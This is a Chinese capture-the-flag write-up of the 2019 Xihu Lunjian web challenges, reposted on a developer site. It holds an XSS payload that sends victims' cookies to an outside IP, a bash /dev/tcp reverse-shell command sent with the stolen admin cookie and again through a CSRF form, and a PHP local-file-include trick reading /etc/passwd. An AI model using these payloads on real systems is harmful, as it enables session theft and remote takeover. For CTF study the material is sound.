2019 西湖论剑 Web wp

栏目: 编程工具 · 发布时间: 5年前

内容简介:2019西湖论剑线上赛 Web wp。除了最后一道原题没时间做,其他都弄出来了。[TOC]NULL 题目地址:http://ctf1.linkedbyx.com:10122

2019西湖论剑线上赛 Web wp。除了最后一道原题没时间做,其他都弄出来了。

[TOC]

Web

Web 1 猜猜 flag 在哪

Description

NULL 题目地址:http://ctf1.linkedbyx.com:10122

Hacking

扫目录发现有 .DS_Store 文件,发现 http://ctf1.linkedbyx.com:10122/e10adc3949ba59abbe56e057f20f883e 目录下有 git 泄露

拿到文件之后有个压缩包,尝试明文攻击得到 hint.txt

2019 西湖论剑 Web wp

拿到 code 为 9faedd5999937171912159d28b219d86,访问 flag/seed.txt 发现回显 NAVIE

在首页输入 code 参数与 name 参数,回显了另一个 code

2019 西湖论剑 Web wp

综合前面给出的 flag/seed.txt ,猜测是个随机数的问题,应该是要猜解随机数问题,用 php_mt_seed 这个 工具 直接爆破可以得到 seed

2019 西湖论剑 Web wp

访问 flag/209228.txt 拿到 flag

Web2 breakout

Description

NULL 题目地址:http://ctf2.linkedbyx.com:10611

Hacking

随便用一个用户名进去。

2019 西湖论剑 Web wp

有一个留言功能,可以进行留言,有一个 report 功能,可以报告一个 url 给管理员,还有一个执行命令与清空留言的功能。所以很明显的一个利用思路就是留言处进行 xss ,把留言界面的 url 发送给管理员,拿到 cookie 即可进行命令执行

我们先测试留言

<script>alert(1);</script>
<:)>alert(1);

发现是字符替代,基本过滤了 DOM 事件,测试用以下 payload

</li><iframe src='http://106.14.153.173:8080/'><li>

成功收到访问信息,所以需要我们绕过字符替代进行 xss 。按照我博客之前写的 xss 教程,我们可以在 src 处利用 html 实体编码来进行绕过,这样就不会出现关键字了,就像以下 payload :

</li><iframe src="          :window.location='http://106.14.153.173:8080/?'+encodeURI(document.cookie)"></iframe><li>

然后我们只需要把 http://ctf2.linkedbyx.com:10611/main.php 在 report 界面提交就好了。

2019 西湖论剑 Web wp

成功拿到 cookie ,这时候我们只需要带着 cookie 去执行命令就好了

POST /exec.php HTTP/1.1
Host: ctf2.linkedbyx.com:10611
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://ctf2.linkedbyx.com:10611/exec.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Connection: close
Cookie: PHPSESSID=hsujvjlaum6vc2c3tg5mraq774; token=KLIMdHTGEnxXSG4mrRRCuQ==; admin=admin_!@@!_admin_admin_hhhhh
Upgrade-Insecure-Requests: 1

command=bash%20-c%20%22sh%20%3E%26%20%2Fdev%2Ftcp%2Fyour_ip%2Fport%200%3E%261%22%20&exec=1

这里我直接弹了 shell ,在根目录下发现 flag.txt

2019 西湖论剑 Web wp

其实如果拿不到 cookie 的话,也可以用以下方式去构造一个 CSRF

<form action="exec.php" method="post" id="myform">
<input value="bash -c 'sh >& /dev/tcp/your_ip/port 0>&1\'" name="command">
<input value="1" name="exec">
</form>
<iframe src="          :parent.document.getElementById('myform').submit();"></iframe>

事实证明也确实可以这么去做。

2019 西湖论剑 Web wp

waf 黑名单如下:

function waf($str){
  $black_list = "script|\W+on.*?=";
  $str = preg_replace("/".$black_list."/i",":)",$str);
  return $str;
}

Web 3 babyt3

Description

babyt3(Ubuntu 16.04 php 7.0) 题目地址:http://ctf1.linkedbyx.com:10010

Hacking

index 提示了有 dir.php 跟 include $_GET['FILE']

Dir.php 可以列目录,在根目录下找到 flag ,用 http://ctf1.linkedbyx.com:10010/?file=/ffffflag_1s_Her4 包含即可

真心想吐槽,这么水的题你出在西湖论剑上合适吗???还不如月赛

赛后跟师傅们讨论的时候,发现 web3 这种题竟然…能放上来…

index.php 源码:

<?php
$a = @$_GET['file'];
if (!$a) {
	$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
	die('nonono');
}
include $a;
?>

<!--hint: dir.php -->

Dir.php 源码:

<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

然后我们就可以看到这个题是多么多么…

strpos('flag',$a) !== false

strops 参数都写反了…所以就成了没有过滤的一道题…

预期解

预期解猜测就是使用 php 7 的一个 segmentfault 错误的 bug,也对上了题目描述一开始给出了环境配置的原因

POST /index.php?file=php://filter/string.strip_tags/resource=/etc/passwd HTTP/1.1
Host: localhost:8001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/test.php
Content-Type: multipart/form-data; boundary=---------------------------9417939141775834208717807850
Content-Length: 248
Connection: close
Cookie: PHPSESSID=09e1deae1da0a95b2515a0c0a9a07c8b
Upgrade-Insecure-Requests: 1

-----------------------------9417939141775834208717807850
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
-----------------------------9417939141775834208717807850--

发以上 http 包,将 php://filter/string.strip_tags/resource=/etc/passwd 这个 payload 传入 include 方法会让 php 产生一个 segmentfault ,然后在这段时间内上传的文件将会存储在 php.ini 指定的 upload_tmp_dir 文件夹下,并且不会被删除。

这样我们就可以包含我们的恶意文件代码了。具体看 LFI via SegmentFault

自己做了个漏洞环境供复现: PHP7-LFI

Web 4 blog

Description

NULL

Hacking

原题,Google CTF 2018 bbs

github 源码地址: https://github.com/google/google-ctf/tree/master/2018/quals/web-bbs

Wp: https://ctftime.org/task/6243

Conclusion

这次比赛收获不大,说实在的,还没安恒月赛质量高,而且第三题出的真的是秀了我一脸,让我很怀疑安恒对这次比赛的题目的检验等,也让我对接下来如何去办好一场比赛有一些借鉴经验,希望接下来的 SUCTF 全国赛不会出现这种难以入目的低级错误。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

编程语言实现模式

编程语言实现模式

Terence Parr / 李袁奎、尧飘海 / 华中科技大学出版社 / 2012-3-20 / 72.00元

《编程语言实现模式》旨在传授开发语言应用(工具)的经验和理念,帮助读者构建自己的语言应用。这里的语言应用并非特指用编译器或解释器实现编程语言,而是泛指任何处理、分析、翻译输入文件的程序,比如配置文件读取器、数据读取器、模型驱动的代码生成器、源码到源码的翻译器、源码分析工具、解释器,以及诸如此类的工具。为此,作者举例讲解已有语言应用的工作机制,拆解、归纳出31种易于理解且常用的设计模式(每种都包括通......一起来看看 《编程语言实现模式》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具